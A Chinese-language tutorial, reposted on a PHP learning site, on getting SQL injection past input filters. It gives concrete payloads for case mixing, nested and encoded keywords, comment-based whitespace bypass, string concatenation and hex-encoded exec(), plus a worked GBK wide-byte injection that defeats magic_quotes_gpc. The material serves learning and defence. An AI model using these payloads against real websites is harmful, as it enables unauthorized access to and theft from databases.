网站地图    收藏   

主页 > 后端 > 网站安全 >

sql注入解析(四)避开过滤 - 网站安全 - 自学p

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 上一篇: http://www.2cto.com/Article/201209/153279.htmlweb应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。1、 不使用被过滤的字符: 比如注...

上一篇: http://www.2cto.com/Article/201209/153279.html

web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。

1、 不使用被过滤的字符: 比如注入一个数字数据,就不需要使用单引号;’ or 1=1–,如果注释字符被过滤,我们可以这样写 ‘ or ’1′=’1 。

2、 避免使用简单确认: 如果select关键字被过滤,我们可以尝试用下面的方法书写select,SeleCT; selselectect;或者使用URLencode,ascii编码,%53%45%4c%45%43%54(ascii).

3、 使用sql注释绕过: 如果空格被过滤了,我们可以使用sql语言的注释。select/**/username,password/**/from/**/user–, mysql中甚至可以这样 sele/**/ct username fr/**/om user–.

4、 替换被阻止的字符串: 要表示admin,oracle中可以用 ‘adm’||’in’ ,  mysql中可以用 concat(‘adm’,'in’); mssql中可以用:’adm’+'in’.

数据库语法中有很多字符串操作函数,可以用来创建被过滤的字符串。Oracle中包含,CHR(ascii码转化)、REVERSE(字符串反转),TRANSLATE(高级的字符串替换),REPLACE,SUBSTR函数。

mssql数据库可以使用 exec(‘select * from user’), 这条命令可以变形为 exec(‘sele’+'ct * from user) ,还可以建立一个十六进制的编码的字符串,通过exec来执行,从而避开某些关键字甚至是单引号的过滤。如:declear @q varchar(5000); select @q=0×73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 75 73 65 72 ,exec(@q) .

另外如果网站是gbk编码的,也可以利用汉字的编码避开注入:

在magic_quotes_gpc=On的情况下,提交的参数中如果带有单引号’,就会被自动转义\’,使很多注入攻击无效,
GBK双字节编码:一个汉字用两个字节表示,首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),刚好涵盖了转义符号\对应的编码0×5C。
0xD50×5C 对应了汉字“诚”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 经URL解码后为“诚”。
下面分析攻击过程:
访问 http://www.2cto.com /test.php?username=test%d5′%20or%201=1%23&pwd=test
经过浏览器编码,username参数值为(单引号的编码0×27)
username=test%d5%27%20or%201=1%23
经过php的url解码
username=test 0xd5 0×27 0×20 or 0×20 1=1 0×23 (为了便于阅读,在字符串与16进制编码之间加了空格)
经过PHP的GPC自动转义变成(单引号0×27被转义成\’对应的编码0×5c0×27):
username=test 0xd5 0×5c 0×27 0×20 or 0×20 1=1 0×23
因为在数据库初始化连接的时候SET NAMES ‘gbk’,0xd50×5c解码后为诚,0×27解码为’,0×20为空格,0×23为mysql的注释符#
上面的SQL语句最终为: SELECT * FROM user WHERE username=’test诚’ or 1=1#’ and password=’test’;
注释符#后面的字符串已经无效,等价于
SELECT * FROM user WHERE username=’test诚’ or 1=1;
条件变成永真,成功注入。
补充:
0xD50×5C不是唯一可以绕过单引号转义的字符,0×81-0xFE开头+0×5C的字符应该都可以;
根据utf8的编码范围,无此问题;

这种变换在xss等领域也可以应用,假如服务端是GBK编码格式。

摘自:http://www.2cto.com/Article/201209/153283.html

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论